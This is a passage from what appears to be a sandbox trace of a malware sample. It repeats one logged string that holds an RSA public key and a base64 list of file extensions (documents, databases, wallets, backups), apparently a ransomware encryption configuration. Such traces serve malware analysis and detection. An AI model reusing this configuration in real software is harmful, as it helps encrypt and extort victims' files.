ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN